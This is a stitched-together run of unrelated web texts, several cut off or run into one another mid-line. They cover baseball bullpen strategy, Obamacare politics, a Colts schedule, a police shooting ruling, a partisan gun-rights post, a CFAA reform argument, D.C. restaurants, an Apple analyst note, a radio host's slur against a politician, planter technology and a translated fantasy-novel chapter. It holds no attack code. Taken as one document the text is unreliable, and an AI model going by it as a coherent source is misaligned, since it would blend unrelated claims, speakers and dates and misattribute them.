One aspect that is an interesting point of discussion is the role of the manager. If a bullpen were to be more flexible, the manager’s role would become more crucial to team success. Most managers usually welcome more power and control. If relievers fit into clearly defined roles, it gives the manager an out-route when facing criticism. Of course, bullpens will always give up leads, no matter how you use the pitchers. The traditional usage leads to blown saves, and the modern version would hardly be foolproof. If a team goes into the the sixth inning tied, and their “6th inning guy” gives up four runs and they end up losing by that amount, it offers the manager a built-in excuse. They lost the game, and it was too early to go to the closer.
However, if the bases are loaded in the sixth inning of a tie game, and the closer is brought in, and gets out of that jam, but the team ends up losing after that, the manager doesn’t have the luxury of putting it on the team, because the traditionalist-leaning media and fans would ask why he didn’t save the closer until the more commonplace ninth inning. Going by the book and using the bullpen as pretty much everybody expects offers managers a way to deflect criticism of their decision-making as a job preserving measure. However, using the bullpen in an outside-the-box way could potentially open the door to more wins. Of course, we don’t know this for a fact because no manager uses this method enough to give us a good sample size, but in theory using the best pitchers in the most vulnerable situations makes a ton of sense.
This might be too open-minded, but even the save is sort of an arbitrary stat. Going against the traditional bullpen method would be to turn one’s back on the save stat and number chasers everywhere. However, if you measured the number of times a “6th-inning guy” comes in with no runners on, and got out of the inning without giving up any runs, that number probably wouldn’t deviate much from the percentage of times a closer secures the ninth inning. Getting out of the sixth inning of a close game isn’t all that much more important than getting through the ninth, because giving up runs in the sixth drastically changes the odds of the outcome
At this point, we can’t have an accurate discussion over which way produces better results, but the fundamental fault in the traditional view is that it’s flawed to always assume the ninth inning is the most important. However, if you go too far in that direction and it would be to render the rest of the game leading up to the ninth as pretty useless; go too far the opposite way and MLB would need not play the ninth. Regardless, next time you watch your favorite team lose a close game and the closer sits in the bullpen the entire game because his clearly-defined role wasn’t presented, ask yourself: Would my team’s’ chances have improved if the best reliever been given a chance to pitch when the lead was given up? Are MLB managers using closers right?
Main PhotoWASHINGTON ― Ohio Gov. John Kasich (R) implored congressional Republicans to change tack on an Obamacare repeal by cutting out conservatives and working with Democrats to preserve coverage for millions of Americans ― and he admitted that the raucous town halls across the country are influencing the debate.
“There’s going to be a problem in the House of getting anything out of there that still provides coverage to people,” Kasich told “Face the Nation” host John Dickerson. “That’s why the Republicans have to reach out to some of the Democrats.”
Kasich mentioned that there were some conservatives in the House who were trying to get rid of the entirety of Obamacare.
“And that’s not acceptable when you have 20 million people, or 700,000 people in my state [using Obamacare], because where do the mentally ill go?” Kasich asked. “Where do the drug addicted go?”
Kasich is a proponent of the Medicaid expansion, which allowed states like Ohio to offer Medicaid to a broader range of people (including individuals making roughly $16,000 a year). Conservatives have already indicated they won’t vote for an Obamacare repeal that preserves the Medicaid expansion, while some Senate Republicans have indicated they won’t support a repeal that removes the expansion. That has left the GOP in a bind, and Kasich thinks the answer is to turn to Democrats.
Kasich also said he thought protests were affecting Republicans.
“Look, I don’t understand everything that’s going on with these town halls, but... I think it’s having an impact from the standpoint of ‘Hey, people are watching,’” Kasich said. “I don’t think they mind reform, but don’t take everything away.”
On Saturday, governors were briefed about the GOP replacement plan, with the expectation that millions could lose coverage.
Kasich reiterated that he didn’t want to kick 20 million people off of health care, and that this debate was bigger than a political argument.Posted by coltsindianapolis on July 17, 2014 – 8:47 am
Indianapolis Colts single-game tickets will go on sale Monday, July 21, at 10 a.m. ET. Tickets will be available at the Lucas Oil Stadium ticket office, all Ticketmaster Ticket Centers, by phone at 1-800-745-3000, and online at www.ticketmaster.com. A limited number of tickets will be available for both preseason home games and eight regular season home games. *Tickets to the New England game are only available as part of a two-game package that includes the preseason game vs. the New York Giants.
INDIANAPOLIS COLTS 2014 SEASON SCHEDULE
Preseason
Day Date Opponent Time Network
Thurs. Aug. 7 at New York Jets 7:00 PM WNDY
Sat. Aug. 16 NEW YORK GIANTS 7:00 PM CBS
Sat. Aug. 23 NEW ORLEANS 8:00 PM CBS
Thurs. Aug. 28 at Cincinnati 7:00 PM WNDY
Regular Season
Day Date Opponent Time Network
Sun. Sept. 7 at Denver 8:30 PM NBC
Mon. Sept. 15 PHILADELPHIA 8:30 PM ESPN
Sun. Sept. 21 at Jacksonville 1:00 PM CBS
Sun. Sept. 28 TENNESSEE 1:00PM CBS
Sun. Oct. 5 BALTIMORE 1:00PM CBS
Thurs. Oct. 9 at Houston 8:25 PM CBS
Sun. Oct. 19 CINCINNATI 1:00 PM CBS
Sun. Oct. 26 at Pittsburgh 4:25 PM CBS
Mon. Nov. 3 at NY Giants 8:30 PM ESPN
Sun. Nov. 9 BYE WEEK
Sun. Nov. 16 NEW ENGLAND 8:30 PM NBC
Sun. Nov. 23 JACKSONVILLE 1:00 PM CBS
Sun. Nov. 30 WASHINGTON 1:00 PM FOX
Sun. Dec. 7 at Cleveland 1:00 PM CBS
Sun. Dec. 14 HOUSTON 1:00 PM CBS
Sun. Dec. 21 at Dallas 4:25 PM CBS
Sun. Dec. 28 at Tennessee 1:00 PM CBS
–All times are EASTERN—
For the first time, flexible scheduling may be applied in Weeks 5-10. During that period, flexible scheduling can be used in no more than two weeks by shifting a Sunday afternoon game into primetime and moving the Sunday night game to an afternoon start time.
Also, for the first time, a select number of games are being “cross-flexed,” moving between CBS and FOX to bring potentially under-distributed games to wider audiences.
“Flexible scheduling” will be used in Weeks 11-17 as it has been in recent years. In Weeks 11-16, the schedule lists the games tentatively set for Sunday Night Football on NBC. Only Sunday afternoon games are eligible to be moved to Sunday night, in which case the tentatively scheduled Sunday night game would be moved to an afternoon start time. Flexible scheduling will not be applied to games airing on Thursday, Saturday or Monday nights. A flexible scheduling move would be announced at least 12 days before the game. For Week 17, the Sunday night game will be announced no later than six days prior to December 28. The schedule does not list a Sunday night game in Week 17, but an afternoon game with playoff implications will be moved to that time slot. Flexible scheduling ensures quality matchups in all Sunday time slots in those weeks and gives “surprise” teams a chance to play their way into primetime.
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Tags: colts single game tickets Posted in Colts BlogMembers Only How to Fix the Affordable Care Act
If you were trying to purchase health insurance in the individual and family market just four years ago, there was a 22 percent chance you would be denied.
But today the percentage of Americans who can be refused coverage is zero. And the millions of Americans who already had coverage are now better protected.
Story Continued Below
In fact, this week marks a milestone for the Affordable Care Act, as the end of the first marketplace open enrollment period draws to a close. Millions of Americans have accessed new insurance options on the marketplace, and we urge those who still need health coverage to visit HealthCare.gov to see their options.
As each of us has said from the beginning, the ACA is not perfect. And as each of us has promised, we are taking important steps to make the law work even better for families and small businesses across the country. From repealing the 1099 filing requirement to easing the paperwork burden on small businesses to allowing individuals to “window shop” for their insurance options on HealthCare.gov, we have already eliminated several unnecessary and bureaucratic barriers while maintaining consumer protections that provide invaluable peace of mind to millions of Americans.
But there is more to be done.
That’s why today we are laying out some next steps to further improve implementation and ease the transition not only for individuals and families, but also for small businesses.
First, we want to give consumers as many choices as possible when it comes to selecting their health plans. By providing a new, lower cost, high deductible option called the Copper Plan (in addition to the existing Platinum, Gold, Silver and Bronze-level options in the marketplace) we will give consumers more control over their own coverage, spur competition and, most importantly, increase affordability.
We are calling to restore startup funds for new consumer-driven health insurance cooperatives, now operating in 23 states. This will allow families to have more options to access health coverage beyond traditional insurance companies, infusing state marketplaces with more competition to reduce average premiums.
We also propose directing state insurance regulators to develop models for their states to sell health insurance across state lines. These multi-state models will help us discern the benefits and challenges of selling health insurance in this manner, and determine if it is a means to increasing choice and competition among plans—potentially driving down costs while maintaining quality and value.
Second, to ease the transition for employers, we want to expand the option for voluntary coverage for employers with fewer than 100 employees, about 98 percent of all businesses. This will enable small and mid-sized businesses to make their own choices for their businesses, and employees can shop for coverage on the individual marketplace.Spread the love
San Diego – A judge has ruled in favor of the police officer who shot and killed a man, claiming he was armed with a knife. However, surveillance video shows that the man was walking slowly towards the officer, the officer opened fire 5 seconds after exiting his patrol car, and the man was found with a pen.
U.S. District Judge William Hayes dismissed a civil lawsuit filed by the family of Fridoon Nehad, ruling that the officer who killed him was reasonable in his use of deadly force, according to a report from the San Diego Union-Tribune.
“The Court concludes that the objective facts in this record support Officer Browder’s belief that the suspect was advancing toward him with a knife and posed an immediate threat to his safety,” Hayes ruled.
Nehad, 42, died on April 30, 2015, after he was shot by Neal Browder. The officer was called to the area after receiving reports of a man threatening people with a knife in the alleyway behind an adult bookstore. Nehad’s family told Voices of San Diego that he had served in Afghanistan’s military before immigrating to the United States and that he had a history of mental illness, which sometimes led to manic episodes.
Browder testified that when he pulled his patrol car into the dark alleyway, and he saw Nehad, he believed “he had a knife in his hand.”
“When I saw him as he was aggressing me, he didn’t slow down,” Browder said. “It appeared to me he was definitely focusing on me and was walking toward me with that purpose—with a purpose. … I felt that he was walking—he was walking to stab me with the knife because that’s what I saw. That’s what I saw in his hand.”
However, the footage from a nearby surveillance camera paints a very different picture of the encounter. It shows Nehad walking down the alleyway at a slow pace, and even stopping when he sees Browder exit the car. In fact, as Voices of San Diego noted, because Browder only used his headlights, it is not likely that Nehad was aware he was approaching a police officer:
“Browder did not turn on the overhead lights on his vehicle when entering the alleyway, and it’s unclear from the video whether Nehad even knew he was approaching a cop. Browder got out of the car and put no barrier between himself and Nehad–he closed his car door, which could have blocked Nehad’s path. It takes only about five seconds from when Browder gets out of his car until he shoots. And again, Nehad was at least slowing his pace before Browder shot him.”
Dan Miller, an attorney for Nehad’s family, told the Union-Tribune that he believes “the officer created a tactically unsafe environment from the start and that Nehad posed no reasonable threat when he was shot,” as an investigation into the shooting found that Nehad was about 17 feet away when Browder opened fire.
As The Free Thought Project has reported, while most police officers are taught that suspects with knives can cover 21 feet of ground in the time it takes the officer to draw and fire a holstered weapon, research has shown that the decades-old training tactic is “responsible for thousands of unnecessary deaths.”
Neal Browder was cleared of all wrongdoing and began patrolling the streets of San Diego just two months after the shooting. The surveillance footage of the encounter has finally been made public, but Voice of San Diego reported that “it took months for the video to come out because the mayor, City Council, police chief and DA all fought its release.”So today King Obama had a press conference about how guns are super mean, hate minorities, are causing global warming, and may have been responsible for sinking the Titanic. We covered it so you wouldn’t have to watch it. Read about it here. But hey, at least he won’t be President in the year. But what if that new President is Hillary Clinton (see A Hillary Clinton Presidency: The Worst For Gun Owners Ever. Here’s Why…)? Ted Cruz wants to make sure you know exactly what’s at stake…
“If Hillary Clinton is elected president, the Supreme Court will rule that no individual American has any individual right to keep and bear arms whatsoever,” the Texas senator said. “And the government can make it a felony for you to own a firearm and protect your family.” The GOP candidate and Iowa frontrunner backed up his claim by arguing that the next president will likely be responsible for naming anywhere from one to four Supreme Court justices during his or her tenure. “We are one justice away from a five-justice, ultra-left wing majority that will tear down our constitutional liberties fundamentally,” Cruz said. That same liberal-run court will also move to take down religious symbols on public property, he added. “If Hillary Clinton is elected president, we will see the Supreme Court ordering Ten Commandments monuments to be torn down on courthouses and public steps all across this country,” Cruz said during a Q&A with evangelical leader James Dobson.
He’s not wrong. This is also one of the most pivotal (and oft overlooked) issues facing the next presidency. Especially as the courts have taken to creating laws as seen with the Same Sex Marriage decision. Regardless of where you line up, the Supreme Court has, over the last several years, displayed an unprecedented expansion of their authority.
Considering how easy it is for them to rule on directly interfering in the healthcare industry, which amounts to nearly a fifth of the US economy, there’s really no scope as to how much they’re willing to control. Think about this. You’re one SCOTUS decision away from losing your right to owning a firearm. One. Sound extreme? Not when you actually read the dissenting arguments against the right to bear arms from the last ruling. Really, read up on it. Several justices asserted the idea that American citizens have no inherent right to own firearms, at all. For any reason. Not hunting, not target shooting. None. Period. If you’re not in the military, you have no right to own a gun. Done. I did a video on the subject not too long ago (included below)
So, this is where your due diligence as a voter comes in. Which candidate do you support? Have they expressly outlined their criteria for Supreme Court appointees, if not outright given names? No, simply suggesting their radically pro-abortion sister doesn’t count… though it is a red flag.
Know the stakes, do your homework. Above all else, check your privilege yo.During his first term, President Barack Obama declared October 2009 to be “National Information Literacy Awareness Month,” emphasizing that, for students, learning to navigate the online world is as important a skill as reading, writing and arithmetic. It was a move that echoed his predecessor's strong support of global literacy—such as reading newspapers—most notably through First Lady Laura Bush's advocacy.
Yet, disturbingly, the Departments of Justice (DOJ) of both the Bush and Obama administrations have embraced an expansive interpretation of the Computer Fraud and Abuse Act (CFAA) that would literally make it a crime for many kids to read the news online. And it’s the main reason why the law must be reformed.
As we’ve explained previously, in multiple cases the DOJ has taken the position that a violation of a website’s Terms of Service or an employer’s Terms of Use policy can be treated as a criminal act. And the House Judiciary Committee has floated a proposal that largely adopts the DOJ’s position, making it possible to prosecute a user for accessing website for a purpose other than intended by the publisher. For a number of reasons, including the requirements of the Children’s Online Privacy Protection Act, many news sites have terms of service that prohibit minors from using their interactive services and sometimes even visiting their websites.
Take, for example, the Hearst Corporation’s family of publications. If you read the terms of use for the Houston Chronicle, the San Francisco Chronicle, or Popular Mechanics websites, you’ll find this language, screamed in all-caps:
"YOU MAY NOT ACCESS OR USE THE COVERED SITES OR ACCEPT THE AGREEMENT IF YOU ARE NOT AT LEAST 18 YEARS OLD.”
In the DOJ’s world, this means anyone under 18 who reads a Hearst newspaper online could hypothetically face jail time. But Hearst’s publications aren’t the only ones with overly restrictive usage terms. U-T San Diego and the Miami Herald have similar policies. Even NPR is guilty, saying teenagers can’t access their “services” (including the site, NPR podcasts and the media player) without a permission slip:
“If you are between the ages of 13 and 18, you may browse the NPR Services or register for email newsletters or other features of the NPR Services (excluding the NPR Community) with the consent of your parent(s) or guardian(s), so long as you do not submit any User Materials.”
Some sites must have recognized the problem and crafted their policies to only forbid users under the age of 13. These include the New York Times, the Boston Globe, and the Arizona Republic. NBCNews.com uses this wording:
"By using or attempting to use the Site or Services, you certify that you are at least 13 years of age or other required greater age for certain features and meet any other eligibility and residency requirements of the Site.”
This means that inquisitive 12-year-olds who visit NBCNews.com to learn about current events would be, by default, misrepresenting their ages. Again, this could be criminal under the DOJ's interpretation of the CFAA.
We’d like to say that we’re being facetious, but, unfortunately, the Justice Department has already demonstrated its willingness to pursue CFAA to absurd extremes. Luckily, the Ninth Circuit rejected the government’s arguments, concluding that, under such an ruling, millions of unsuspecting citizens would suddenly find themselves on the wrong side of the law. As Judge Alex Kozinski so aptly wrote: "Under the government’s proposed interpretation of the CFAA...describing yourself as 'tall, dark and handsome,' when you’re actually short and homely, will earn you a handsome orange jumpsuit."
And it’s no excuse to say that the vast majority of these cases will never be prosecuted. As the Ninth Circuit explained, “Ubiquitous, seldom-prosecuted crimes invite arbitrary and discriminatory enforcement.” Instead of pursuing only suspects of actual crimes, it opens the door for prosecutors to go after people because the government doesn’t like them.
Unfortunately, there’s no sign the Justice Department has given up on this interpretation outside the Ninth and Fourth Circuits, which is why the Professor Tim Wu in the New Yorker recently called the CFAA “the most outrageous criminal law you’ve never heard of.”
The potential criminalization of terms of service is a prime reason that Congress needs to overhaul CFAA and it’s certainly why the House Judiciary Committee should abandon the seemingly DOJ-drafted bill it floated recently and instead sit down with Rep. Zoe Lofgren, Rep. Darrell Issa, and others to negotiate real reform.
Are you a minor with a thirst for information? You, and your parents who vote, should together tell Congress to fix CFAA.You’ve heard of Newton’s third law that for every action, there’s an equal and opposite reaction. It applies to D.C. dining. The District has been flooded with incoming talent lately. David Chang opened Momofuku CCDC. Edward Lee will land a downtown location of Succotash. Bostonian Michael Schlow is building a mini-empire of District restaurants. And the owners of Vedge in Philadelphia are launching a vegan restaurant here.
But at the same time, chefs and other restaurant pros who have dedicated most of their careers to feeding District denizens are quietly scramming for both the nearby and more distant suburbs. Many who commute from Virginia or Maryland to kitchens in D.C. proper are reaching breaking points when it comes to traffic.
“Fiola was a killer,” says Stefano Frigerio, who was driving from Purcellville, Virginia, to lead the Michelin-starred downtown restaurant. “I was spending four hours a day just to go to work, plus the 12- or 14-hour shift. The work Fiola does is phenomenal, but I didn’t see my kids. I didn’t see anyone.”
Beyond skirting life sentences behind the wheel, there are other, more nuanced reasons why chefs are fleeing for the ’burbs. Not the least of which is demand, which Santosh Tiptur banked on when he opened The Conche in Leesburg, Virginia, in May. Much like downtown’s Co Co. Sala, which Tiptur has operated for nearly a decade, the 2,880-square-foot Virginia restaurant has a chocolate theme.
“This is the right time,” Tiptur says. “The caliber of restaurants in D.C. are not here.” His realtor told him he’d be a pioneer by bringing “something like this” to the region.
Tiptur characterizes new Loudoun County developments as world class and says property owners are thirsty for unique restaurants to fill voids the recession left behind. “The spaces were designed for bigger stores,” he explains. “This was built around 2005 or 2006, but when the recession hit, everyone backed out. Borders and Best Buy were supposed to be here.”
There are plenty of people to fill Tiptur’s expansive restaurant thanks in part to nearby offerings of kids’ classes ranging from taekwondo to trampoline. And it helps that The Conche is as Willy Wonka as it gets: There’s a chocolate lab in the center of the room where diners can watch their desserts being plated.
“In terms of deciding to open in this location, it was much needed,” he says. “I talk to guests who haven’t been to D.C. in two years because they know how painful it is,” especially for families, to fight the traffic or deal with crowded public transit.
And it’s not just families who want a taste of the city in the suburbs, says Jeremy Ross, general manager and beverage director of Sense of Thai in Ashburn, Virginia. “You never knew there was so much suppressed partying until you give someone a DJ,” he says, adding that he once had to ask a group of housewives out on a girls’ night not to dance on the bar.
Unlike most places, his restaurant stays open until 2 a.m. on weekends because nightlife is in such demand. “Before, they were either driving or taking an 8-hour Uber to D.C.,” he says with hyperbole. “Now they have it in their backyard.”
The 27-year-old who made a name for himself at several Ashok Bajaj restaurants, including D.C.’s The Oval Room and NoPa Kitchen + Bar, didn’t expect to drop everything to shake fish sauce-spiked cocktails within the One Loudoun development. Life just hung a surprising dog-leg left.
“I got to a certain level where I needed to learn more, but I couldn’t get it from this company,” he says. “I was already looking for an exit plan.” The goal was to jet to Chicago, but Ross had a chance meeting with the Sense of Thai owners and seized the opportunity to open the restaurant two years ago.
Ross says he thrives on satisfying his customers, who are as varied as the herbs used in Thai cooking. “You have families out here—get the crayons ready—but at the same time parents want an escape,” he says. “Give parents a city vibe, cater to the kids, and then there’s an assisted living facility steps away from the restaurant. You have to master them all.”
Restaurants that do will cultivate regular customers—an increasingly foreign notion in D.C., where many diners book tables based on checklists of new restaurants. There’s a real sense of community at Sense of Thai, where Ross says diners go from guests to regulars to friends.
“Instead of impressing a critic, we want to impress the people who are here every day,” he says. “Our focus is to make sure the orthodontists we know get their dish as fast as possible because they have an appointment instead of [thinking] ‘what would [Washington Post food critic] Tom Sietsema like today?’”
Chef Tim Rowley agrees. He left the District, where he cooked at Bibiana, Fiola, Beuchert’s Saloon, and Room 11, to run The Wine Kitchen in Leesburg, Virginia. “While I still want to strive and push the food, it’s nice to know that I’m not getting Tom Sietsema in once a month,” he says.
He doesn’t mind the diminished competition either. “Anytime a chef says he’s opening something else—until he says he’s opening something in Loudoun County—I don’t worry about it too much.”
Rowley found the job passively perusing Craigslist. “I want to wind up there eventually,” he says. “Why wait until I’m looking?” He has long enjoyed visiting Loudoun County on his days off. “I’m really happy out there. To me, it’s not that far out, but to D.C. people, it’s another civilization.”
He loves being close to farms and texting farmers to ask for strawberries that arrive still warm from the sun. He prefers to let farmers dictate what’s on his menu instead of the reverse.
“My friends in D.C. are trying to do it more and more, but it’s a lot harder with that 40-mile difference between Leesburg and D.C.,” Rowley says. When he worked in the District, some farms could only deliver on Mondays or Tuesdays instead of daily.
Rowley, who is about to get married, also enjoys the work-life balance the outer suburbs allow. “Leesburg closes down early at 9 p.m. instead of 10 p.m. or 11 p.m. and nobody notices or cares,” he says. “It gives me an extra hour with Katie [Reineberg]. That’s a good selling point.”
But there’s no guarantee, as Chef Tony Conte found out when he bowed out of The Oval Room after nine years to open Inferno Pizzeria Napoletana in Darnestown, Maryland. He’d been stalking a space in a shopping center and when it freed up, he jumped on it. “It wasn’t by accident,” he says. “It came at a time when the love for the day-to-day wasn’t there any longer. The essence of it wasn’t fun anymore.”
He too wanted more personal time. “Time goes by so fast. It’s amazing how fast the clock ticks once you cross 25,” he says. But being close to home hasn’t stopped him from going to the restaurant daily. “Trying to find that balance is like finding the perfect dough recipe.” They’re both elusive.
Frigerio, who left Fiola to open Purcellville crêperie Petit Loulou, actually misses the pressure that Rowley, Ross, and others are content to escape. “I like the pressure when I work,” he says. “It drives me to do more every time. You can have a food critic from a major publication come in anytime. I miss it. I need the tension, the drive, the craziness you have on a Saturday night.”
While he happily trades the thrill of high-pressure kitchens for more time with family, he’s frustrated about staffing—the Achilles’ heel of opening where pastures are more prominent than parking lots. “It’s hard to find anyone who will spend eight hours a day in the kitchen,” Frigerio says. “They do it because it’s summer and they need a job, but it’s not a career.”
Tiptur agrees, saying staffing front-of-house positions like servers is just as challenging. “We have 50 percent of staff that have serving experience, but the rest are high school kids,” he says. “I think the summer will be OK, but when September comes, I’m worried.”
Despite this challenge, Chef Justus Frank is pleased with his decision to open his first solo venture outside of D.C. proper, and not just because the price-per-square-foot is more forgiving.
Like Frigerio and Rowley, Frank worked at Fiola as well as the short-lived Nonna’s Kitchen on U Street NW. His Southern food restaurant Live Oak is in the Del Ray neighborhood of Alexandria, Virginia.
He finds cooking there rewarding because “people are more in love with their neighborhoods than people passing through D.C. for a year or two at a time.” He predicts that as D.C. becomes more saturated, the outside areas will reap the benefits, and so he encourages other first-time restaurateurs to branch out.
“Anything’s doable if your concept is solid and translates to the neighborhood,” Frank says. “Since the whole hospitality industry is thriving right now, there’s motivation for someone young and hungry to get their food in there and become someone, become a contender.”
Eatery tips? Food pursuits? Send suggestions to lhayes@washingtoncitypaper.com.Getty/Justin Sullivan Barclays analysts said they do not see "meaningful upside potential" in Apple stock in a note distributed to clients on Tuesday.
Basically, Barclays analyst Mark Moskowitz believes that investors are putting too much stock in the iPhone 8 "supercycle" later this year.
Apple is expected to release a significantly redesigned iPhone this fall that some analysts believe will return the product line to sales growth given the large buildup of current iPhone users waiting to upgrade.
"Our chief concern is that investors increasingly are hoping for a meaningful exit rate (i.e., 10%-plus year-over-year unit growth) led by the iPhone 8 cycle in the second half of 2017. Our view is that customers increasingly mixing down (iPhone 6S in favor of iPhone 7) and maturation of the device-centric consumer electronics adoption wave could weigh on both Apple and the smartphone market," Moskowtiz wrote.
Ultimately, Barclays still believes that Apple is a good stock to long-term investors, especially given the company's large cash balance and products that retain customers from year-to-year.
"Long-term growth opportunities related to India, services, the enterprise, artificial intelligence, and maybe even the Cloud still exist; however, we do not expect these potential 'what's next?' opportunities to emerge as major needle movers over the next 12 months for Apple's model," Markowitz wrote.
Barclays downgraded the iPhone maker from "overweight" to "equal weight" and dropped its price target to $117 from $119.
"This call is not on the quarter," Moskowitz wrote. Apple reports quarterly earnings on January 31.B
ORO PARK, BROOKLYN A Belzer yeshiva student who was leaning against a 3600 LBS, Aron Kodesh safe in a synagogue called “Shtiebel 39”, cause the heavy iron ark to collapse on him. Miraculously, as the heavy ark fell, the doors opened up and swallowed the student inside.
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Maduro has already detained more than 120 military personnel since the latest round of protests began in April, 30 of those for desertion and 40 for rebellion and/or treason. True, Maduro has gone to great pains to keep the military leadership on his side, personally promoting hundreds of Venezuela’s more than 2,000 generals and granting them special privileges. That includes handing many of them political careers; some 11 of the country’s 30 government ministers are current or former military officers. Unfortunately for Maduro, there aren’t near enough political posts in the country he can dole out to ensure his political survival. Watch this space.
Contact us at editors@time.com.Via Lucile Barker of the Canuckistan Pink(o) Fringe:
Schizas: Just to get back to our previous quick quotes on Andrea Horwath. I think whore is the operative syllable there. Oakley: Well, well let’s not take it that far Schizas: What do you mean? She was bought. Oakley: (in agreement) Alright, bought and paid for. Alright, it’s pejorative Schizas: Alright, Sorry, I’ll take the hit. Oakley: That’s alright. Schizas: I’ll take the hit.
As Justin Stayshyn (h/t transcript) rightly notes, “Lou Schizas works for AM640 so this isn’t just some random guy calling Andrea a whore.”
Update: More details (& audio) from this newswire:
The exchange took place [this AM] on the The John Oakley Show during a panel with Buzz Hargrove and Catherine Swift, who apparently did not call Schizas out on his comment after Oakley’s soft chiding. Schizas is a business correspondent and joins Oakley for his a “Happy Capitalism” segment. We’ve left a message with the station for comment and awaiting their reply.
While that newswire awaits a response, feel free to contact the CBSC and CRTC if the spirit moves you.
Update 2: Official ONDP response:
June 12, 2013 Open Letter from Taras Natyshak, NDP MPP for Essex, to AM640 Essex – Taras Natyshak, NDP MPP for Essex, sent the following open letter to AM640, in response to unacceptable comments made by a guest on the John Oakely Show today. AM640 Corus Quay 25 Dockside Drive Toronto, Ontario M5A 0B5 During the John Oakley Show today Lou Schizas crossed the line when he called Ontario NDP Leader Andrea Horwath a name that I won’t repeat. We can disagree on political points. We can have heated debates and we at the NDP don’t shy away from a fight. But let’s not forget respect. Taras Natyshak MPP Essex
AdvertisementsPlanters are one step closer to operating themselves this year. New smart features and attachments for 2013 can automatically clear the row, test ground hardness, adjust down-force, vary the type and rate of seed, and track bin levels. And a grower can control all of these operations without leaving the tractor cab.
Tom Evans, vice president of sales at Great Plains, says many of the technologies that were just concepts a few years ago are now available for consumers to buy. “The ‘bells and whistles’ that used to be a luxury are now almost standard equipment,” Evans says. “Automatic point-row control, automatic row-unit down-pressure control, variable-rate prescription seed rates, and variable-rate fertilizer are making planters very high-tech.”
He says higher commodity prices are driving sales of this technology. “With corn hitting $6/bu., farmers are looking to maximize everything they can get out of an acre,” Evans adds.
Other manufacturers echo this sentiment. “Recently we’ve noticed a change in conversations among customers,” says Gary Hamilton, AGCO. “We’ve always talked about the iron and all the things that it can do. Now technology is top-of-mind. That includes not only the ability to monitor seed but also the way we place it. Farmers like auto row shutoff so they don’t waste any seed on end rows. They like autoguide so the planter is precisely in line with the previous pass across the field. So the technology side, placing seed and monitoring in its place, has really become the topic as we move forward.”
Like Great Plains’ Evans, Hamilton says strong commodity prices are driving this attention. “As corn and soybean prices come up, [farmers] now have the means to invest in new technology as a way to balance out the higher price of inputs we are experiencing. The technology is now available for farmers to help them manage their operation as best they can.”
Here’s just a sampling of new planter technologies that will be available this spring, all designed to automate the task of planting corn and soybeans.Anouncement: Due to exams (I’m a high school student) I won’t be translating for the first half of January
Also, I think this is what 212 was referring to
From Yuru Yuri
Chapter 211: Infighting
“As expected of Firo-tan. My heart is beating so fast my chest will split open…” (Motoyasu)
Even though Motoyasu was kicked, he’s showing an expression of ecstasy as he gets up.
How long will this headache continue?
And from the sound, it didn’t seem like Firo held back at all with that Kick.
It was a serious kick, and she’s also receiving a bonus from the Lust Spear. My Zveit Aura should also still be in effect… Yet he withstood that.
The past Motoyasu would have been split in half. Even the Curse Series shouldn’t increase his stats to this extent.
I don’t know why, but he’s still doing just fine.
“Motoyasu-” (Naofumi)
“WHAT is it, FAther?” (Motoyasu)
(TL: Motoyasu is randomly switching between Hiragana and Katakana here.)
“… Never mind… Have you been trying out other reinforcement methods?” (Naofumi)
“YES Firo-taN’s fATHEr’s words are absolUTE.” (Motoyasu)
… I don’t need your imitation!
So this idiot finally began using the strengthening methods I passed to Shadow.
The result… The current Motoyasu is probably stronger than me.
My Wrath hasn’t been enhanced much, and it’s only at level III.
Motoyasu is at IV. His weapon’s definitely stronger.
If I make an enemy of him, will I lose?
What should I do in this situation?
Firo is putting up an amazing fight.
And he’s counteracting with the boost of his curse skills.
… Isn’t this bad? Motoyasu probably won’t fight Firo seriously.
But Firo is coming at him with all of her might.
Right now Motoyasu hasn’t taken too much damage, but if Firo continues like this things may get ugly.
After that, Firo will, without a doubt, come after me.
If Motoyasu fights to the death, we may have a chance, but we’ve been told that killing heroes is bad.
If possible, I wasn’t to avoid that.
“Hah… Hah…n…” (Firo)
Firo takes an offensive stance.
This stance is…
Magic power begins swirling around her center of gravity. The current me can see it.
I think this is the stance to recover mana.
But in this situation, it probably isn’t replenishment, but amplification.
“Reach Firo-tan! My feelings!” (Motoyasu)
Motoyasu sees this as an opportunity to attack.
But…
Firo’s magic replenishment finishes much faster than I expected.
「High Quick!」 (Firo)
There’s a flash!
A white afterimage passes through Motoyasu’s body. The sight of a white ribbon continuously piercing through Motoyasu’s body is burned into my eyes.
“Gufu…” (Motoyasu)
M-Motoyasu! Could he be done already!?
“Amazing. Firo-tan!” (Motoyasu)
Ah. He got up.
That’s good. The meat shield protecting me is still alive.
“Um… Should we be doing anything?” (Atlas)
“You want to go into that battlefield? It’ll be dangerous even for me, you know.” (Naofumi)
“Right…” (Atlas)
But should we really just stay on the sidelines?
I should probably look for a way to escape…
“Rishia, try to run!” (Naofumi)
I order Rishia to try running alone.
“Fue!?” (Rishia)
“Naofumi?” (Melty)
“Now! Quickly!” (Naofumi)
“Yes, Naofumi-sama is saying it, so Rishia-san, please run!” (Atlas)
“Y-yes!” (Rishia)
Upon Atlas’s recommendation, Rishia begins running away.
But… she soon returns.
“Fueeee! Why am I back here!?” (Rishia)
As I thought. We’re in something like a special loop.
It seems we’ll be unable to escape for a while.
Motoyasu and Firo are still fighting.
I’m grasping for the means to do something, but I can’t think of anything.
I just hope that the two forces will collapse simultaneously.
But the situation is heading in a negative direction.
“Diiiiee-!” (Filo Rials)
Motoyasu’s three subordinate Filo Rials begin attacking Firo.
“W-why is everyone-!?” (Motoyasu)
Motoyasu stands in front to protect Firo.
But the Filo Rials continue their assault, one with a kick, another with magic, and the last one with a battle axe.
The one who kicked was Red, the one who cast was Blue and the one rushing with an axe on their shoulder is Green.
All of them have strange looks in their eyes.
“Hate… The one who monopolizes Mokkun’s love, while seducing another man. I hate you!” (Filo Rial)
“Mo-kun is ours…” (Filo Rial)
“Yeah… I won’t approve of that person!” (Filo Rial)
“S-stop! Everyone!” (Motoyasu)
“””I Want to be the one to eat Mo-kun (Mokkun)! And that bitch is in the way!””” (Filo Rials)
To protect Firo. Motoyasu begins fighting the three.
Though not as fast as Firo, they are still quite fast.
“Atlas.” (Naofumi)
“Yes, something black is wrapped around those three. It’s more potent than with Firo-chan.” (Atlas)
“Ah, I see.” (Naofumi)
From what I see, they have yet to Class Up.
The fact that they are able to hold off Motoyasu must be due to his own support.
I mean, they’re clearly being effected by his Curse Series.
Lust and Envy.
Like Firo, Lust is putting them in heat, and Envy is making them attack Firo.
With those three on the offense, Motoyasu has no choice but to defend her.
But they’re his precious daughters. I don’t think he can hurt them.
